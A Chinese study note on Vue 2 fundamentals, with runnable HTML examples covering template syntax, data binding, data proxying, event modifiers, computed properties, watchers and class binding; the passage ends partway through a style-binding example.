【前端系列笔记005】Vue(一)第一章Vue核心

第一章:Vue核心

1.1 Vue简介

Vue是什么

Vue是一套用于构建用户界面渐进式JavaScript框架

**渐进式:**Vue可以自底向上逐层的应用

  • **简单应用:**只需要一个轻量小巧的核心库
  • **复杂应用:**可以引入各式各样的Vue插件、
Vue的特点
  1. 采用组件化模式,提高代码复用率,且让代码更好维护
  2. 声明式编码,让编码人员无需直接操作DOM,提高开发效率
  3. 使用虚拟DOM+优秀的Diff(比较)算法,尽量复用DOM节点

1.2 初识Vue

  1. 想让vue工作,就必须创建一个Vue实例,且要传入一个配置对象
  2. root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
  3. root容器里的代码被称为【Vue模板】
  4. Vue实例和容器是一一对应的
  5. 真实开发中只有一个Vue实例,并且会配合着组件一起使用
  6. {{xxx}}中的xxx要写js表达式,且xxx可以自动读取到该数据的地方也会自动更新
  7. 一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新
注意区分:js表达式和js代码(语句)
  1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
      1)a
      2)a+b
      3)demo(1)  函数调用表达式
      4)x==y?'a':'b'
  2.js代码(语句)
      1)if(){}
      2)for(){}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>

    <!--引入vue-->
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
    <!--  初识vue
      1.想让vue工作,就必须创建一个Vue实例,且要传入一个配置对象
      2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
      3.root容器里的代码被称为【Vue模板】
      4.Vue实例和容器是一一对应的
      5.真实开发中只有一个Vue实例,并且会配合着组件一起使用
      6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到该数据的地方也会自动更新
      7.一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新

      注意区分:js表达式和js代码(语句)
        1.表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方:
            1)a
            2)a+b
            3)demo(1)  函数调用表达式
            4)x==y?'a':'b'
        2.js代码(语句)
            1)if(){}
            2)for(){}
      -->

    <!--准备好一个容器-->
    <div id="root">
        <h1>Hello,{{name.toLowerCase()}},{{address}},{{Date.now()}}</h1>
    </div>


    <script type="text/javascript">
        Vue.config.productionTip=false;

        //创建vue实例
        new Vue({
            el:'#root',//el用于指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
            // el:document.getElementById("root")  还有以下这种写法
            data:{
                //data中用于存储数据,数据供el所指定的容器去使用,值我们暂时先写成一个对象
                name:'YZC',
                address:'西峡'
            }
        });

    </script>

</body>
</html>

1.3 Vue模板语法

1.3.1 插值语法:
  1. **功能:**用于解析标签体内容
  2. 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性
1.3.2 指令语法
  1. **功能:**用于解析标签(包括:标签属性、标签体内容、绑定事件。。。)
  2. **举例:**v-bind:href="xxx"或简写为 :href=“xxx”,xxx同样要写js表达式,且可以直接读取到data中的所有属性
  3. **备注:**Vue中有许多指令,且形式都是:v-???,此处我们只是拿v-bind举个例子
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>模板语法</title>
    <!--引入vue-->
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    Vue模板语法有2大类:
        1.插值语法:
            功能:用于解析标签体内容
            写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性
        2.指令语法
            功能:用于解析标签(包括:标签属性、标签体内容、绑定事件。。。)
            举例:v-bind:href="xxx"或简写为 :href="xxx",xxx同样要写js表达式,且可以直接读取到data中的所有属性
            备注:Vue中有许多指令,且形式都是:v-???,此处我们只是拿v-bind举个例子
-->

<!--准备好一个容器-->
<div id="root">
    <h1>插值语法</h1>
    <h3>你好,{{name}}</h3>
    <hr/>
    <h1>指令语法</h1>
    <a v-bind:href="school.url" v-bind:x="x">点我去{{school.name}}那旮瘩</a>
    <a :href="school.url" :x="x">点我去{{school.name}}那旮瘩</a><!-- v-bind:简写形式-->
</div>
</body>

<script type="text/javascript">
    Vue.config.productionTip=false;

    new Vue({
        el:"#root",
        data:{
            name:"jack",
            x:"你好",
            school:{
                url:"https://www.baidu.com",
                name:"百度"
            }
        }
    })
</script>
</html>

1.4 数据绑定

1.4.1 单向绑定(v-bind)
1.4.2 双向绑定(v-model)

Vue中有2种数据绑定的方式:

  1. 单向绑定(v-bind):数据只能从data流向页面
  2. 双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data

备注:

  1. 双向绑定一般都应用在表单类元素上(如:input、select等)
  2. v-model:value 可以简写为v-model,因为v-model默认收集的是value值
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/html">
<head>
    <meta charset="UTF-8">
    <title>数据绑定</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    Vue中有2种数据绑定的方式:
        1.单向绑定(v-bind):数据只能从data流向页面
        2.双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data
        备注:
            1.双向绑定一般都应用在表单类元素上(如:input、select等)
            2.v-model:value 可以简写为v-model,因为v-model默认收集的是value值
-->

<!--准备一个容器-->
<div id="root">
    <!--  普通写法  -->
    单向数据绑定:<input type="text" v-bind:value="name"><br>
    双向数据绑定:<input type="text" v-model:value="name"><br>
    <!--  简写  -->
    单向数据绑定:<input type="text" :value="name"><br>
    双向数据绑定:<input type="text" v-model="name"><br>

    <!--如下代码是错误的,因为v-model只能应用在表单类元素上(输入类元素)-->
    <h2 v-model:prefix="name">你好啊</h2>
</div>

</body>
<script type="text/javascript">
    Vue.config.productionTip=false;

    new Vue({
        el:'#root',
        data:{
            name:'YZC'
        }
    })
</script>
</html>

1.5 el与data的两种写法

data与el的2种写法:

  1. el有两种写法

    1. new Vue时候配置el属性
    2. 先创建Vue实例,随后再通过vm.$mount(‘#root’)指定el的值
  2. data有2种写法

    1. 对象式

    2. 函数式

      如何选择:目前哪种写法都可以,以后学习组件时,data必须使用函数式,否则会报错

  3. 一个重要原则:
    由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>el与data的两种写法</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    data与el的2种写法:
        1.el有两种写法
            1)new Vue时候配置el属性
            2)先创建Vue实例,随后再通过vm.$mount('#root')指定el的值
        2.data有2种写法
            1)对象式
            2)函数式
            如何选择:目前哪种写法都可以,以后学习组件时,data必须使用函数式,否则会报错
        3.一个重要原则:
            由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了
-->

<div id="root">
    <h1>你好,{{name}}</h1>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;

    //el的两种写法
    /*const v=new Vue({
        //el:'#root',//第一种写法
        data:{
            name:"YZC"
        }
    })
    console.log(v)
    setTimeout(()=>{ //第二种写法
        v.$mount('#root')
    },1000)*/

    //data的两种写法
    new Vue({
        el:"#root",
        //data的第一种写法 对象式
        /*data:{
            name:"YZC"
        }*/
        //data的第二种写法:函数式
        data:function (){
            console.log("@@@",this)//此处的this是Vue实例对象
            return{
                name:"YZC"
            }
        }
    })
</script>
</body>
</html>
1.5.1 el的两种写法
//el的两种写法
const v=new Vue({
    el:'#root',//第一种写法
    data:{
        name:"YZC"
    }
})
console.log(v)
setTimeout(()=>{ //第二种写法
    v.$mount('#root')
},1000)
1.5.2 data的两种写法
//data的两种写法
new Vue({
    el:"#root",
    //data的第一种写法 对象式
    data:{
        name:"YZC"
    }
    //data的第二种写法:函数式
    data:function (){
        console.log("@@@",this)//此处的this是Vue实例对象
        return{
            name:"YZC"
        }
    }
})

1.6 MVVM模型

  1. M:模型(Model),对应data中的数据
  2. V:视图(View),模板
  3. VM:视图模型(ViewModel),Vue实例对象

观察发现:

  1. data中所有的属性,最后都出现在了vm身上
  2. vm身上所有的属性及Vue原型上所有属性,在Vue模板中都可以直接使用
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>05_MVVM模型</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    MVVM模型:
        1.M:模型(Model),对应data中的数据
        2.V:视图(View),模板
        3.VM:视图模型(ViewModel),Vue实例对象
    观察发现:
        1.data中所有的属性,最后都出现在了vm身上
        2.vm身上所有的属性及Vue原型上所有属性,在Vue模板中都可以直接使用
-->

<div id="root"><!--View-->
    <h1>学校名称:{{name}}</h1><!--View-->
    <h1>学校地址:{{address}}</h1><!--View-->
    <h1>测试一下1:{{1+1}}</h1><!--View-->
    <h1>测试一下2:{{$options}}</h1><!--View-->
    <h1>测试一下3:{{$emit}}</h1><!--View-->
</div><!--View-->

<script type="text/javascript">
    Vue.config.productionTip=false;

    const vm=new Vue({//ViewModel
        el:"#root",
        data:{
            name:"河南xx大学",//Model
            address:"北京"//Model
        }
    })
    console.log(vm)
</script>
</body>
</html>

1.7 数据代理

1.7.1 回顾Object.defineproperty方法
<script type="text/javascript">
    let person={
        name:"张三",
        sex:"男"
    }
    let number=18

    Object.defineProperty(person,'age',{
        /*
        value:18,
        enumerable:true,//控制属性是否可以枚举,默认值为false
        writable:true,//控制属性是否可以被修改,默认值为false
        configurable:true//控制属性是否可以被删除,默认值是false
         */

        //当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
        get:function (){
            console.log("有人读取age属性")
            return number
        },
        //当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
        set(v) {
            console.log("有人修改了age属性值,且值是:",v)
            number=v
        }
    })
    console.log(person)
</script>
1.7.2 何为数据代理

**数据代理:**通过一个对象代理对另一个对象中属性的操作(读/写)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>何为数据代理</title>
</head>
<body>
<!--数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)-->
<script type="text/javascript">
    let obj={x:100}
    let obj2={y:200}

    Object.defineProperty(obj2,'x',{
        get(){
            return obj.x
        },
        set(v){
            obj.x=v
        }
    })
</script>
</body>
</html>
1.7.3 Vue中的数据代理
Vue中的数据代理:

通过vm对象来代理data对象中属性的操作(读/写)

Vue中数据代理的好处:

更加方便地操作data中的数据

基本原理:
  1. 通过Object.defineProperty()把data对象中所有属性添加到vm上
  2. 为每一个添加到vm上的属性,都指定一个getter/setter
  3. 在getter/setter内部去操作(读/写)data中对应的属性
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Vue中的数据代理</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    1.Vue中的数据代理:
        通过vm对象来代理data对象中属性的操作(读/写)
    2.Vue中数据代理的好处:
        更加方便地操作data中的数据
    3.基本原理:
        通过Object.defineProperty()把data对象中所有属性添加到vm上
        为每一个添加到vm上的属性,都指定一个getter/setter
        在getter/setter内部去操作(读/写)data中对应的属性
-->

<div id="root">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
    <h2>学校名称:{{_data.name}}</h2>
    <h2>学校地址:{{_data.address}}</h2>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;
    let data={
        name:"YZC",
        address:"河南省"
    }

    const vm=new Vue({
        el:"#root",
        data
    })
    console.log(vm)
</script>
</body>
</html>

1.8 事件处理

1.8.1 事件的基本使用:
  1. 使用v-on:xxx@xxx 绑定事件,其中xxx是事件名
  2. 事件的回调需要配置在methods对象中,最终会在vm上
  3. methods中配置的函数,不要用箭头函数!否则this就不是vm了
  4. methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
  5. @click="demo"@click="demo($event)" 效果一样,但后者可以传参
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Vue中的数据代理</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    事件的基本使用:
        1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名
        2.事件的回调需要配置在methods对象中,最终会在vm上
        3.methods中配置的函数,不要用箭头函数!否则this就不是vm了
        4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
        5.@click="demo" 和 @click="demo($event)" 效果一样,但后者可以传参
-->

<div id="root">
    <h2>欢迎来到{{name}}</h2>
    <button v-on:click="showInfo1">点我提示信息1(不传参)</button>
    <button @click="showInfo2(66,$event)">点我提示信息2(传参)</button> <!--简写形式-->
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;

    const vm=new Vue({
        el:"#root",
        data:{
            name:"德莱联盟"
        },
        methods:{
            showInfo1(event){
                // console.log(event.target)
                // console.log(vm===this) //此处的this是vm
                alert("同学你好1")
            },showInfo2(number,event){
                // console.log(event.target)
                // console.log(vm===this) //此处的this是vm
                alert("同学你好"+number)
            }
        }
    })
</script>
</body>
</html>
1.8.2 事件修饰符
prevent:阻止默认事件(常用)
stop:阻止事件冒泡(常用)
once:事件只触发一次(常用)
capture:使用事件的捕获模式
self:只有event.target是当前操作元素时才触发事件
passive:事件的默认行为立即执行,无需等待事件回调执行完毕
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>事件修饰符</title>
    <script type="text/javascript" src="js/vue.js"></script>
    <style>
        * {
            margin-top: 20px;
        }
        .demo1 {
            height: 50px;
            background-color: skyblue;
        }
        .box1 {
            padding: 5px;
            background-color: cornflowerblue;
        }
        .box2 {
            padding: 5px;
            background-color: orange;
        }
        .list {
            width: 200px;
            height: 200px;
            background-color: peru;
            overflow: auto;
        }
        li {
            height: 100px;
        }
    </style>
</head>
<body>
<!--
    Vue中的事件修饰符:
        1.prevent:阻止默认事件(常用)
        2.stop:阻止事件冒泡(常用)
        3.once:事件只触发一次(常用)
        4.capture:使用事件的捕获模式
        5.self:只有event.target是当前操作元素时才触发事件
        6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕
-->

<div id="root">
    <h2>欢迎来到{{name}}</h2>
    <!--阻止默认事件-->
    <a href="https://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
    <!--阻止事件冒泡-->
    <div @click="showInfo" class="demo1">
        <button @click.stop="showInfo">点我提示信息</button>
        <!--修饰符可以连续写-->
        <!-- <a href="https://www.baidu.com" @click.stop.prevent="showInfo">点我提示信息</a>-->
    </div>
    <!--事件只触发一次-->
    <button @click.once="showInfo">点我提示信息</button>
    <!--使用事件的捕获模式-->
    <div class="box1" @click.capture="showMsg(1)">
        div1
        <div class="box2" @click="showMsg(2)">
            div2
        </div>
    </div>
    <!--只有event.target是当前操作元素时才触发事件-->
    <div @click.self="showInfo" class="demo1">
        <button @click="showInfo">点我提示信息</button>
    </div>
    <!--事件的默认行为立即执行,无需等待事件回调执行完毕-->
    <ul class="list" @wheel.passive="demo">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
    </ul>
</div>

<script type="text/javascript">
    Vue.config.productionTip=false;

    new Vue({
        el:"#root",
        data:{
            name:"YZC"
        },
        methods:{
            showInfo(e){
                alert("同学你好!")
            },
            showMsg(msg){
                alert(msg)
            },
            demo(){
                for (let i = 0; i < 10000; i++) {
                    console.log("#")
                }
            }
        }
    })
</script>
</body>
</html>
1.8.3 键盘事件
  1. Vue中常用的按键别名:

    • 回车=> enter
    • 删除=> delete(捕获“删除”和“退格”键)
    • 退出=> esc
    • 空格=> space
    • 换行=> tab(特殊,必须配合keydown去使用)
    • 上=> up
    • 下=> down
    • 左=> left
    • 右=> right
  2. Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)

    <input type="text" placeholder="按下回车提示输入" @keyup.caps-lock="showInfo"><br/>
    
  3. **系统修饰键(用法特殊):**ctrl、alt、shift、meta

    1. 配合keyup使用:按下修饰键的同时,再按下其他键,然后释放其他键,事件才触发
    2. 配合keydown使用:正常触发事件
  4. 也可以使用keyCode去指定具体的按键(不推荐)

    <input type="text" placeholder="按下回车提示输入" @keyup.13="showInfo"><br/>
    
  5. Vue.config.keyCode.自定义键名=键码,可以去定制按键别名

    Vue.keyCodes.huiche=13;//定义了一个别名按键
    
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>11_键盘事件</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    1.Vue中常用的按键别名:
        回车=> enter
        删除=> delete(捕获“删除”和“退格”键)
        退出=> esc
        空格=> space
        换行=> tab(特殊,必须配合keydown去使用)
        上=> up
        下=> down
        左=> left
        右=> right
    2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名)
    3.系统修饰键(用法特殊):ctrl、alt、shift、meta
        1)配合keyup使用:按下修饰键的同时,再按下其他键,然后释放其他键,事件才触发
        2)配合keydown使用:正常触发事件
    4.也可以使用keyCode去指定具体的按键(不推荐)
    5.Vue.config.keyCode.自定义键名=键码,可以去定制按键别名
-->
<div id="root">
    <h2>欢迎来到{{name}}</h2>
    <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo"><br/>
    <input type="text" placeholder="按下回车提示输入" @keyup.caps-lock="showInfo"><br/>
    <input type="text" placeholder="按下回车提示输入" @keyup.13="showInfo"><br/>
    <!--  ctrl+y才能触发事件  -->
    <input type="text" placeholder="按下回车提示输入" @keyup.ctrl.y="showInfo"><br/>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;
    Vue.keyCodes.huiche=13;//定义了一个别名按键

    new Vue({
        el:"#root",
        data:{
            name:"德莱联盟"
        },
        methods:{
            showInfo(e) {
                //console.log(e.keyCode)
                console.log(e.key,e.keyCode)
            }
        }
    })
</script>
</body>
</html>

1.9 计算属性

1.9.1 姓名案例
使用插值语法实现
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>姓名案例</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>

<div id="root">
    姓:<input type="text" v-model="firstName"><br/>
    名:<input type="text" v-model="lastName"><br/>
    全名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span><br/>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;

    new Vue({
        el:"#root",
        data:{
            firstName:"张",
            lastName:"三"
        }
    })
</script>
</body>
</html>
使用methods语法实现
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>姓名案例</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>

<div id="root">
    姓:<input type="text" v-model="firstName"><br/>
    名:<input type="text" v-model="lastName"><br/>
    全名:<span>{{fullName()}}</span><br/>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;

    new Vue({
        el:"#root",
        data:{
            firstName:"张",
            lastName:"三"
        },
        methods:{
            fullName(){
                return this.firstName+"-"+this.lastName;
            }
        }
    })
</script>
</body>
</html>
1.9.2 计算属性实现
定义

要用的属性不存在,要通过已有属性计算得来

原理

底层借助了Object.defineProperty方法提供的getter和setter

get函数什么时候执行?
  1. 初次读取时会执行一次
  2. 当依赖的数据发生改变时会被再次调用
优势

与methods实现相比,内部有缓存机制(复用),效率更高,调试方便

备注
  1. 计算属性最终会出现在vm上,直接读取使用即可
  2. 如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>姓名案例</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    计算属性:
        1.定义:要用的属性不存在,要通过已有属性计算得来
        2.原理:底层借助了Object.defineProperty方法提供的getter和setter
        3.get函数什么时候执行?
            1)初次读取时会执行一次
            2)当依赖的数据发生改变时会被再次调用
        4.优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便
        5.备注:
            1)计算属性最终会出现在vm上,直接读取使用即可
            2)如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变
-->

<div id="root">
    姓:<input type="text" v-model="firstName"><br/>
    名:<input type="text" v-model="lastName"><br/>
    测试:<input type="text" v-model="x"><br/>
    全名:<span>{{fullName}}</span><br/>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;

    const vm=new Vue({
        el:"#root",
        data:{
            firstName:"张",
            lastName:"三",
            x:"你好"
        },
        computed:{
            fullName:{
                //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
                //get什么时候调用?1.初次读取fullName时 2.所依赖的数据发生变化时
                get(){
                    console.log("get被调用了")
                    console.log(this)//此处的this是vm
                    return this.firstName+"-"+this.lastName;
                },
                //set什么时候调用? 当fullName被修改时
                set(value){
                    console.log("set")
                    const arr=value.split('-')
                    this.firstName=arr[0]
                    this.lastName=arr[1]
                }
            }
        },
        methods:{
            demo(){

            }
        }
    })
</script>
</body>
</html>
1.9.3 计算属性的简写形式

只考虑读取不考虑修改某属性时才可以使用简写形式

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>姓名案例</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--

-->

<div id="root">
    姓:<input type="text" v-model="firstName"><br/>
    名:<input type="text" v-model="lastName"><br/>
    全名:<span>{{fullName}}</span><br/>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;

    const vm=new Vue({
        el:"#root",
        data:{
            firstName:"张",
            lastName:"三"
        },
        computed:{
            /*简写 */
            fullName() {
                console.log("get被调用了")
                console.log(this)//此处的this是vm
                return this.firstName+"-"+this.lastName;
            }
            /*完整写法
            fullName:{
                get(){
                    console.log("get被调用了")
                    console.log(this)//此处的this是vm
                    return this.firstName+"-"+this.lastName;
                },
                set(value){
                    console.log("set")
                    const arr=value.split('-')
                    this.firstName=arr[0]
                    this.lastName=arr[1]
                }
            }
            */
        }
    })
</script>
</body>
</html>

1.10 监视属性

1.10.1 天气案例
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>姓名案例</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--

-->

<div id="root">
    <h2>今天天气很{{info}}</h2>
    <button @click="changeWeather">切换天气</button>
    <!-- 绑定事件的时候:@xxx="yyy"  yyy可以写一些简单的语句 -->
    <button @click="isHot=!isHot">切换天气</button>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;

    new Vue({
        el:"#root",
        data:{
            isHot:true
        },
        computed:{
            info(){
                return this.isHot?"炎热":"寒冷";
            }
        },
        methods:{
            changeWeather(){
                this.isHot=!this.isHot
            }
        }
    })
</script>
</body>
</html>
1.10.2 监视属性watch
  1. 当被监视的属性变化时,回调函数自动调用,进行相关操作

  2. 监视的属性必须存在,才能进行监视!!!

  3. 监视的两种写法:

    1. new Vue时传入watch配置

      watch:{
          isHot:{
              immediate:true,//初始化时让handler调用一下
              //handler什么时候调用?当isHot发生改变时
              handler(newValue,oldValue){
                  console.log("isHot被修改了",newValue,oldValue)
              }
          }
      }
      
    2. 通过vm.$watch监视

      vm.$watch("isHot",{
          immediate:true,
          handler(newValue,oldValue){
              console.log("isHot被修改了",newValue,oldValue)
          }
      })
      
1.10.3 深度监视
  1. Vue中的watch默认不监测对象内部值的改变(一层)
  2. 配置deep:true 可以监测对象内部值改变(多层)

备注:

  1. Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
  2. 使用watch时根据数据的具体结构,决定是否采用深度监测
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>姓名案例</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    深度监视:
        1.Vue中的watch默认不监测对象内部值的改变(一层)
        2.配置deep:true 可以监测对象内部值改变(多层)
    备注:
        1.Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以!
        2.使用watch时根据数据的具体结构,决定是否采用深度监测
-->

<div id="root">
    <h2>今天天气很{{info}}</h2>
    <button @click="changeWeather">切换天气</button>
    <hr/>
    <h3>a的值是:{{numbers.a}}</h3>
    <button @click="numbers.a++">点我让a+1</button>
    <hr/>
    <h3>b的值是:{{numbers.b}}</h3>
    <button @click="numbers.b++">点我让b+1</button>
    <button @click="numbers={a:666,b:888}">彻底替换掉numbers</button>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;

    const vm=new Vue({
        el:"#root",
        data:{
            isHot:true,
            numbers:{
                a:1,
                b:2
            }
        },
        computed:{
            info(){
                return this.isHot?"炎热":"寒冷";
            }
        },
        methods:{
            changeWeather(){
                this.isHot=!this.isHot
            }
        },
        watch:{
            isHot:{
                //immediate:true,//初始化时让handler调用一下
                //handler什么时候调用?当isHot发生改变时
                handler(newValue,oldValue){
                    console.log("isHot被修改了",newValue,oldValue)
                }
            },
            //监视多级结构中某个属性的变化
            'numbers.a':{
                handler(){
                    console.log('a被改变了')
                }
            },
            //监视多级结构中所有属性的变化
            numbers: {
                deep:true,
                handler(){
                    console.log("numbers改变了")
                }
            }
        }
    })
</script>
</body>
</html>
1.10.4 监视的简写形式

只能在没有配置immediatedeep的情况下才可以使用

  1. isHot(newValue,oldValue){
        console.log("isHot被修改了",newValue,oldValue)
    }
    
  2. vm.$watch("isHot",function (newValue,oldValue){
        console.log("isHot被修改了",newValue,oldValue)
    })
    
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>姓名案例</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--

-->

<div id="root">
    <h2>今天天气很{{info}}</h2>
    <button @click="changeWeather">切换天气</button>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;

    const vm=new Vue({
        el:"#root",
        data:{
            isHot:true
        },
        computed:{
            info(){
                return this.isHot?"炎热":"寒冷";
            }
        },
        methods:{
            changeWeather(){
                this.isHot=!this.isHot
            }
        },
        watch:{
            /*正常写法
            isHot:{
                immediate:true,//初始化时让handler调用一下
                deep:true,
                //handler什么时候调用?当isHot发生改变时
                handler(newValue,oldValue){
                    console.log("isHot被修改了",newValue,oldValue)
                }
            }*/
            //简写
            /*isHot(newValue,oldValue){
                console.log("isHot被修改了",newValue,oldValue)
            }*/
        }
    })
    /*正常写法
    vm.$watch("isHot",{
        immediate:true,//初始化时让handler调用一下
        deep:true,
        handler(newValue,oldValue){
            console.log("isHot被修改了",newValue,oldValue)
        }
    })*/
    //简写
    vm.$watch("isHot",function (newValue,oldValue){
        console.log("isHot被修改了",newValue,oldValue)
    })
</script>
</body>
</html>
1.10.5 computed和watch之间的区别
  1. computer能完成的功能,watch都可以完成
  2. watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作

两个重要的小原则:

  1. 被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象
  2. 所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数、promise的回调函数等),最好写成箭头函数,这样this的指向才是vm或组件实例对象
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>姓名案例</title>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<!--
    computed和watch之间的区别:
        1.computer能完成的功能,watch都可以完成
        2.watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作
    两个重要的小原则:
        1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象
        2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、promise的回调函数),最好写成箭头函数,这样this的指向才是vm或组件实例对象
-->

<div id="root">
    姓:<input type="text" v-model="firstName"><br/>
    名:<input type="text" v-model="lastName"><br/>
    全名:<span>{{fullName}}</span><br/>
</div>


<script type="text/javascript">
    Vue.config.productionTip=false;

    const vm=new Vue({
        el:"#root",
        data:{
            firstName:"张",
            lastName:"三",
            fullName:""
        },
        watch:{
            // firstName(newValue,oldValue){
            //     this.fullName=newValue+"-"+this.lastName
            // },
            // lastName(newValue,oldValue){
            //     this.fullName=this.firstName+"-"+oldValue
            // },
            firstName: {
                immediate: true,
                handler(newValue){
                    setTimeout(()=>{
                        this.fullName=newValue+"-"+this.lastName
                    },1000)
                }
            },
            lastName: {
                immediate: true,
                handler(newValue) {
                    setTimeout(()=>{
                        this.fullName=this.firstName+"-"+newValue
                    },1000)
                }
            }
        }
    })
</script>
</body>
</html>

1.11 绑定样式

  1. class样式
    • 写法:class="xxx" xxx可以是字符串、对象、数组
      • 字符串写法适用于:类名不确定,要动态获取
      • 对象写法适用于:要绑定多个样式,个数不确定,名字也不确定
      • 数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用
  2. style样式
    • :style="{fontSize:xxx}" 其中xxx是动态值
    • :style="[a,b]" 其中a、b是样式对象
1.11.1 绑定class样式
字符串写法

绑定class样式 字符串写法,适用于:样式的类名不确定,需要动态指定

<div class="basic" :class="mood" @click="changeMood">{{name}}</div>

methods:{
    changeMood(){
        const moods=['happy','sad','normal'];
        this.mood=moods[Math.floor(Math.random()*3)]
    }
}
数组写法

绑定class样式 数组写法,适用于:要绑定的样式个数不确定、名字也不确定

<div class="basic" :class="classArry">{{name}}</div>

classArry:['atguigu1','atguigu2','atguigu3'],
对象写法

绑定class样式 对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用

<div class="basic" :class="classObj">{{name}}</div>

classObj:{
    atguigu1:false,
    atguigu2:true
}
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>绑定样式</title>
    <style>
        .basic {
            width: 400px;
            height: 100px;
            border: 1px solid black;
        }
        .happy {
            background-color: cornflowerblue;
        }
        .sad {
            background-color: peru;
        }
        .normal {
            background-color: aliceblue;
        }
        .atguigu1 {
            background-color: gray;
        }
        .atguigu2 {
            background-color: green;
        }
        .atguigu3 {
            background-color: antiquewhite;
        }
    </style>
    <script type="text/javascript" src="js/vue.js"></script>
</head>
<body>
<div id="root">
